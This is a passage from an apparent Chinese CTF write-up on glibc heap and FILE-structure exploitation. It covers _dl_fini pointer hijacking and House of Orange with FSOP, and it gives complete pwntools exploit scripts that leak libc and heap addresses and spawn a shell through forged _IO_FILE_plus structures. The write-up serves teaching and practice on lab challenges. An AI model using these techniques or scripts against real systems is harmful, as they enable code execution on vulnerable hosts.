      fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_read_end;
    }
  pos = fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_wblen (fp) + flush_only))    // 条件 #define _IO_wblen(fp) ((fp)->_wide_data->_IO_buf_end - (fp)->_wide_data->_IO_buf_base)
    {
      if (fp->_flags2 & _IO_FLAGS2_USER_WBUF) /* not allowed to enlarge */
    return WEOF;
      else
    {
      wchar_t *new_buf;
      wchar_t *old_buf = fp->_wide_data->_IO_buf_base;
      size_t old_wblen = _IO_wblen (fp);
      _IO_size_t new_size = 2 * old_wblen + 100;              // 使 new_size * sizeof(wchar_t) 为 "/bin/sh" 的地址

      if (__glibc_unlikely (new_size < old_wblen)
          || __glibc_unlikely (new_size > SIZE_MAX / sizeof (wchar_t)))
        return EOF;

      new_buf
        = (wchar_t *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size
                                    * sizeof (wchar_t));                      // 在这个相对地址放上 system 的地址
    [...]

利用函数 _IO_wstr_finish

void
_IO_wstr_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_wide_data->_IO_buf_base && !(fp->_flags2 & _IO_FLAGS2_USER_WBUF))    // 条件
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_wide_data->_IO_buf_base);     // 在这个相对地址放上 system 的地址
  fp->_wide_data->_IO_buf_base = NULL;

  _IO_wdefault_finish (fp, 0);
}

修改 _dl_fini 函数指针

以 hctf2018_the_end 为例子,题目部署在 Ubuntu 18,远程实验到 buu 。

这条题目在 Ubuntu 18 下有 vtable 检查,修改 vtable 方法失效。

下面调试过程中寻找 libc 与 ld 偏移时与 buu 靶机情况不一样,因为我们本地在 docker 改 libc 运行 ld 和 libc 位置变化了,具体看后文

exit() 函数的利用链:

exit()

在 exit 函数中会调用 __run_exit_handlers()

//glibc/stdlib/exit.c
……
void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}
……

__run_exit_handlers() 调用 _dl_fini :

image-20201212231929231

在 _dl_fini 函数中调用调用函数 __rtld_lock_lock_recursive()__rtld_lock_unlock_recursive()

//glibc/elf/dl-fini.c
...
#endif
  for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
      /* Protect against concurrent loads and unloads.  */
      __rtld_lock_lock_recursive (GL(dl_load_lock));
      unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
      /* No need to do anything for empty namespaces or those used for
         auditing DSOs.  */
      if (nloaded == 0
#ifdef SHARED
          || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
          )
        __rtld_lock_unlock_recursive (GL(dl_load_lock));
      else
        {
...

__rtld_lock_lock_recursive__rtld_lock_unlock_recursive是通过宏定义来的:

//glibc/sysdeps/nptl/libc-lockP.h
# define __rtld_lock_lock_recursive(NAME) \
  GL(dl_rtld_lock_recursive) (&(NAME).mutex)
# define __rtld_lock_unlock_recursive(NAME) \
  GL(dl_rtld_unlock_recursive) (&(NAME).mutex)

从上面定义知道真正函数是 GL 宏中的 dl_rtld_lock_recursive ,查看宏 GL 定义:

//Rtld.c
extern struct rtld_global _rtld_local
    __attribute__ ((alias ("_rtld_global"), visibility ("hidden")));

//Ldsodefs.h
extern struct rtld_global _rtld_local __rtld_local_attribute__;
#  undef __rtld_local_attribute__
# endif
extern struct rtld_global _rtld_global __rtld_global_attribute__;
# undef __rtld_global_attribute__

//Db_info.c
typedef struct rtld_global rtld_global;

//elf/Rtld.c
struct rtld_global _rtld_global =
  {
    /* Generally the default presumption without further information is an
     * executable stack but this is not true for all platforms.  */
    ._dl_stack_flags = DEFAULT_STACK_PERMS,
#ifdef _LIBC_REENTRANT
    ._dl_load_lock = _RTLD_LOCK_RECURSIVE_INITIALIZER,
    ._dl_load_write_lock = _RTLD_LOCK_RECURSIVE_INITIALIZER,
#endif
    ._dl_nns = 1,
    ._dl_ns =
    {
#ifdef _LIBC_REENTRANT
      [LM_ID_BASE] = { ._ns_unique_sym_table
               = { .lock = _RTLD_LOCK_RECURSIVE_INITIALIZER } }
#endif
    }
  };

//Ldsodefs.h
#ifndef SHARED
# define EXTERN extern
# define GL(name) _##name
#else
# define EXTERN
# if IS_IN (rtld)
#  define GL(name) _rtld_local._##name
# else
#  define GL(name) _rtld_global._##name
# endif

有点复杂,这里简化描述一下:从 40-45 知道 GL 是 _rtld_local 或 _rtld_global 类型的结构体;两种结构体定义看上面代码前面部分。所以 GL(dl_rtld_lock_recursive) 是 _rtld_global 结构体内的 dl_rtld_lock_recursive 指针。

有点绕,先整理下 _dl_fini 调用的实际是什么:

_dl_fini 调用 __rtld_lock_lock_recursive
__rtld_lock_lock_recursive 宏定义为 GL(dl_rtld_lock_recursive)
GL 是一个 _rtld_global 结构体
dl_rtld_lock_recursive 是 _rtld_global 结构体的一个指针

_dl_fini 实际调用 _rtld_global 结构体的 _dl_rtld_lock_recursive 指针。

在 gdb 中查看 _rtld_global 信息:

p _rtld_global#查看结构体内容
p *_rtld_global#查看结构体地址

在结构体里面找到了实际的调用的函数指针:

image-20201212010538691

**_rtld_global 是在 ld.so 内存段**里面的,泄露 libc 可以通过偏移计算出 ld 基地址,按照图中偏移应该为 offset=0x7f30c73af000-0x7f30c6df8000=0x5b7000

image-20201212010329020

由于我这里调试时改 libc 和 ld 所以计算出来的偏移 0x5b7000 并不是远程环境(原生18.04运行)下的偏移,在 Ubuntu 18.04 下重新调试计算得出偏移为 0x3f1000 ,这个偏移与 buu 上的环境一样:

image-20201212164833238

计算出 _rtld_global 的地址通过偏移得到 _dl_rtld_lock_recursive 、_dl_rtld_unlock_recursive 地址。这个偏移我是 gdb 查看 _rtld_global 地址,不断加偏移找:

_dl_rtld_lock_lock_recursive -> 0xf00
_dl_rtld_lock_unlock_recursive -> 0xf08

image-20201212165906952

两个函数都会调用,将其指针改成 onegadget ,最后尝试 _dl_rtld_unlock_recursive 才满足 onegadget 条件。

EXP 如下:

#remote:ubuntu18.04
from pwn import *
context(log_level='debug',arch='amd64',os='linux',
    terminal=['tmux','sp','-h'])

#p = process(["/glibc/2.27/64/lib/ld-2.27.so", "./the_end"], env={"LD_PRELOAD":"/glibc/2.27/64/lib/libc-2.27.so"})
#libc = ELF("/glibc/2.27/64/lib/libc-2.27.so")
#ld = ELF("/glibc/2.27/64/lib/ld-2.27.so")
# p = process("./the_end")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# ld = ELF("/lib/x86_64-linux-gnu/ld-2.27.so")
p = remote("node3.buuoj.cn",27518)
libc = ELF("./libc-2.27.so")
ld = ELF("/lib/x86_64-linux-gnu/ld-2.27.so")
elf = ELF("./the_end")

offset_ldbase_of_libcbase = 0x3f1000#0x5b7000
offset_dl_rtld_lock_recursive_of_rtld_global = 0xf00
offset_dl_rtld_unlock_recursive_of_rtld_global = 0xf08

p.recvuntil("gift ")
sleep_addr = int(p.recv(14),16)
log.info("sleep_addr:"+hex(sleep_addr))
libc_base = sleep_addr-libc.sym['sleep']
log.info("libc_base:"+hex(libc_base))

ld_base = libc_base+offset_ldbase_of_libcbase
log.info("ld_base:"+hex(ld_base))
rtld_global = ld_base+ld.sym['_rtld_global']
log.info("rtld_global:"+hex(rtld_global))
dl_rtld_lock_recursive = rtld_global+offset_dl_rtld_lock_recursive_of_rtld_global
log.info("dl_rtld_lock_recursive:"+hex(dl_rtld_lock_recursive))
dl_rtld_unlock_recursive = rtld_global+offset_dl_rtld_unlock_recursive_of_rtld_global
log.info("dl_rtld_unlock_recursive_of_rtld_global:"+hex(dl_rtld_unlock_recursive))

onegadget = libc_base+0x4f322

'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

#gdb.attach(p,"b *$rebase(0x964)")

for i in range(5):
    #p.send(p64(dl_rtld_lock_recursive+i))
    p.send(p64(dl_rtld_unlock_recursive+i))
    p.send(p64(onegadget)[i])

p.sendline("exec 1>&0")

p.interactive()

House of orange

概述

house of orange 特殊之处是题目没有 free 函数等释放堆块函数。house of orange 核心思想通过漏洞实现 free 的效果。

使用条件

  • 能控制 topchunk size 位(堆溢出等)
  • 能控制堆分配的大小

原理

当 topchunk 不能满足申请分配的大小时,topchunk 被释放进 unsortedbin ,实现没有 free 函数释放堆块。

扩展堆空间有 mmapbrk 两种方式,我们需要以 brk 拓展,需要绕过 libc 一些 check :malloc 申请大小不能大于 mmp_.mmap_threshold

if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))

总结伪造 topchunk 要求:

  • 伪造 size 需要对齐内存页

比如现在 topchunk size 为:0x20fa1,那么对齐内存页的 size 可以为:0xfa1、0x1fa1……

  • size 要大于 MINSIZE

  • prev_inuse 为 1

  • size 要小于等等申请 chunk_size+MINISIZE (才能让 topchunk 放入 unsortedbin)

自此得到一个 unsortedbin 堆,用来泄露 libc 地址,实现 FSOP

hitcon_2016_houseoforange

基本情况

保护全开,实验环境在 Ubuntu16.04。

能自主控制分配堆大小,结构体如下:

struct{
  *info;
  chunk_ptr;
}
struct info{
  price;
  color;
}

在 edit 函数中存在堆溢出:

image-20201216230021762

思路

利用堆溢出将 topchunk size 改小,size 要求看前文。修改前 topchunk 和 heap 范围:

image-20201216231726321

修改后情况:

image-20201216231929179

之后申请一个大于 topchunk 的堆,topchunk 就被放入 unsortedbin :

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5555557580a0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x5555557580a0

申请一个 largebin 用于泄露 libc 和 堆地址。用的 malloc 分配,libc 读取 bk 位置信息即可,分配的是 largebin 在 fd_nextsize 和 bk_nextsize 都存放堆地址分别读出即可。堆地址在 FSOP 伪造 vtable 需要用到。

自此后面就是 FSOP 利用。劫持在 libc 中的 _IO_list_all 内容,将其内容指向可控地址伪造 _IO_FILE_plus 和 vtabel 。默认状态下的 _IO_list_all 指向的是 _IO_2_1_stderr_ :

image-20201216232610931

利用堆溢出修改在 unsortedbin 的 topchunk fd bk 指针,发起 unsortedbin attack 劫持 _IO_list_all 。这里修改完 fd bk 之后申请一个堆,topchunk unlink 就会修改 _IO_list_all 指向到 main_arena+88 ,这个区域前后我们还是不能控制,就利用 _chain 标志位指向下一个文件流,这个标志位的位置刚好是 unsortedbin 0x60 链表位置。因此将 topchunk size 覆盖为 0x60 :

image-20201216234838174

执行 _IO_flush_all_lockp 时逐个遍历文件流,遇到错误文件就跳过去处理 _chain 指向的下一个文件流,因此现在 topchunk 里面伪造一个 _IO_FILE_plus 结构体。

需要设置几个标志位绕过保护:

mode_offset=0x0;
writeptr_offset=0x1;
writebase_offset=0x0;
然后将 vtable 指针劫持会 topchunk 特定位置,让 __overflow 为 system ,文件流(topchunk)头部覆盖为 /bin/sh 作为参数传入。

成功结构体如下:

image-20201217000607071

image-20201217000644542

EXP

from pwn import *
context(log_level='debug',arch='amd64')

# p = process("./houseoforange_hitcon_2016")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = remote("node3.buuoj.cn",29595)
libc = ELF("./libc-2.23.so")
elf = ELF("./houseoforange_hitcon_2016")

def command(id):
    p.recvuntil(": ")
    p.sendline(str(id))

def add(size, content, price, color):
    command(1)
    p.recvuntil("Length of name :")
    p.sendline(str(size))
    p.recvuntil("Name :")
    p.send(content)
    p.recvuntil("Price of Orange:")
    p.sendline(str(price))
    p.recvuntil("Color of Orange:") 
    p.sendline(str(color))

def show():
    command(2)

def edit(size, content, price, color):
    command(3)
    p.recvuntil("Length of name :")
    p.sendline(str(size))
    p.recvuntil("Name:")
    p.send(content)
    p.recvuntil("Price of Orange:")
    p.sendline(str(price))
    p.recvuntil("Color of Orange:")
    p.sendline(str(color))

# step1 'free' 2 bin
add(0x18,'a'*8,0xddaa,0xddaa)
payload='a'*0x38+p64(0xfa1)
edit(len(payload),payload,0xddaa,0xddaa)
add(0x1000,'b'*8,0xddaa,0xddaa)
#0x555555758000     0x555555779000 rw-p    21000 0      [heap]
#0x555555758000     0x55555579b000 rw-p    43000 0      [heap]

# step2 leak libc
add(0x450,'c'*8,0xddaa,0xddaa)
show()
p.recvuntil('c'*8)
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info("leak_addr:"+hex(leak_addr))
libc_addr = leak_addr-1640-0x3c4b20
log.info("libc_addr:"+hex(libc_addr))
IO_list_all=libc_addr+libc.sym['_IO_list_all']
log.info("IO_list_all:"+hex(IO_list_all))
system=libc_addr+libc.sym['system']

# step3 leak heap
payload = 'd' * 0x10
edit(0x10, payload,0xddaa,0xddaa)
show()
p.recvuntil('d'*0x10)
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info("heap_addr:"+hex(heap_addr))

# set fake struct
payload='d'*0x450+p64(0)+p64(0x21)+p64(0x0000ddaa00000003)+p64(0)
fake = '/bin/sh\x00'+p64(0x61)
fake += p64(0)+p64(IO_list_all-0x10)
fake += p64(0) + p64(1)
fake = fake.ljust(0xc0,'\x00')
fake += p64(0) * 3
fake += p64(heap_addr+0x558) #vtable
fake += p64(0) * 2
fake += p64(system)
payload += fake
edit(len(payload),payload,2,3)

#gdb.attach(p)

# unlink attack
p.recvuntil("Your choice : ")
p.sendline('1')

p.interactive()

参考文章

2020_纵横杯_wind_farm_panel

基本情况

十分明显的堆溢出:

int __fastcall edit(__int64 a1, __int64 a2)
{
  int v3; // [rsp+8h] [rbp-8h]

  printf("Please modify your personal information.\nWhich turbine: ");
  v3 = read_int("Please modify your personal information.\nWhich turbine: ", a2);
  if ( !*((_QWORD *)&area + v3) || v3 < 0 || v3 > 4 )
    return puts("Unvalidated Input");
  printf("Please input: ");
  read(0, *((void **)&area + v3), 0x1000uLL);   // 堆溢出
  return puts("Done");
}

思路

满足 house_of_orange 的条件:堆溢出能修改 topchunk size ;申请 size 限制范围大;没有 free 功能。

  1. 溢出修改 topchunk size ,申请大于 topchunk 的堆,将 topchunk 放入 unsortedbin ,然后泄露 libc 地址
  2. 修复 chunk_size&pre_size ,申请 larginbin 泄露 heap_addr
  3. FSOP
# overwrite topchunk size
add(0,0x88,'a'*0x88+p64(0xf71))
# frow topchunk into unsortedbin
add(1,0xfff,'b')

#leak libc
edit(0,'a'*0x90)
show(0)
p.recvuntil('a'*0x90)
libc_base = u64(p.recv(6).ljust(8,'\x00'))-88-0x3c4b20
log.info("libc_base:"+hex(libc_base))

申请 larginbin 之前,需要修复泄露 libc 破坏的 chunk_szie ,以后布置 prev_size :

# repair chunk_size&prev_size
payload = 'a'*0x88+p64(0xf71)+p64(libc_base+88+0x3c4b20)*2
payload += 'a'*0xf50+p64(0xf70)
edit(0,payload)
p.recvuntil("Done")

# larginbin leak heap addr
add(2,0x450,'c')
edit(0,'a'*0xa0)
show(2)
gdb.attach(p)
p.recvuntil('a'*0x10)
heap_base = u64(p.recv(6).ljust(8,'\x00'))-0x90
log.info("heap_base:"+hex(heap_base))

EXP

from pwn import *
context(log_level='debug')

# p = remote("182.92.203.154",28452)
# libc = ELF("./libc-2.23.so")

p = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./pwn")

def command(id):
    p.recvuntil(">> ")
    p.sendline(str(id))
def add(id,size,content):
    command(1)
    p.recvuntil(": ")
    p.sendline(str(id))
    p.recvuntil(": ")
    p.sendline(str(size))
    p.recvuntil(": ")
    p.send(content)
def show(id):
    command(2)
    p.recvuntil(": ")
    p.sendline(str(id))
def edit(id,content):
    command(3)
    p.recvuntil(": ")
    p.sendline(str(id))
    p.recvuntil(": ")
    p.send(content)

# overwrite topchunk size
add(0,0x88,'a'*0x88+p64(0xf71))
# frow topchunk into unsortedbin
add(1,0xfff,'b')

#leak libc
edit(0,'a'*0x90)
show(0)
p.recvuntil('a'*0x90)
libc_base = u64(p.recv(6).ljust(8,'\x00'))-88-0x3c4b20
log.info("libc_base:"+hex(libc_base))

# repair chunk_size&prev_size
payload = 'a'*0x88+p64(0xf71)+p64(libc_base+88+0x3c4b20)*2
payload += 'a'*0xf50+p64(0xf70)
edit(0,payload)
p.recvuntil("Done")

# larginbin leak heap addr
add(2,0x450,'c')
edit(0,'a'*0xa0)
show(2)
gdb.attach(p)
p.recvuntil('a'*0x10)
heap_base = u64(p.recv(6).ljust(8,'\x00'))-0x90
log.info("heap_base:"+hex(heap_base))
edit(0,'a'*0x88+p64(0x461))

IO_list_all=libc_base+libc.sym['_IO_list_all']
log.info("IO_list_all:"+hex(IO_list_all))
system=libc_base+libc.sym['system']

# FSOP
# set fake struct
#payload='a'*0x450+p64(0)+p64(0x21)+p64(0x0000ddaa00000003)+p64(0)
payload = 'b'*0x450
fake = '/bin/sh\x00'+p64(0x61)
fake += p64(0)+p64(IO_list_all-0x10)
fake += p64(0) + p64(1)
fake = fake.ljust(0xc0,'\x00')
fake += p64(0) * 3
fake += p64(heap_base+0x5c8) # vtable
fake += p64(0) * 2
fake += p64(system)
payload += fake

# payload = 'b'*0x458+p64(0x60)
edit(2,payload)

#gdb.attach(p,'b *$rebase(0xc2e)')

command(1)
p.recvuntil(": ")
p.sendline(str(3))
p.recvuntil(": ")
p.sendline(str(0x80))

p.interactive()

参考文章



  1. 用 fwrite 等这种流 I/O 函数写入写出,数据会先放在缓冲区,并没有真正输入或者输出,需要用 fflush 冲洗流中信息才完成写入写出。避免用 fflush 冲洗就用 setbuf 函数关闭缓冲(pwn 题初始化必备)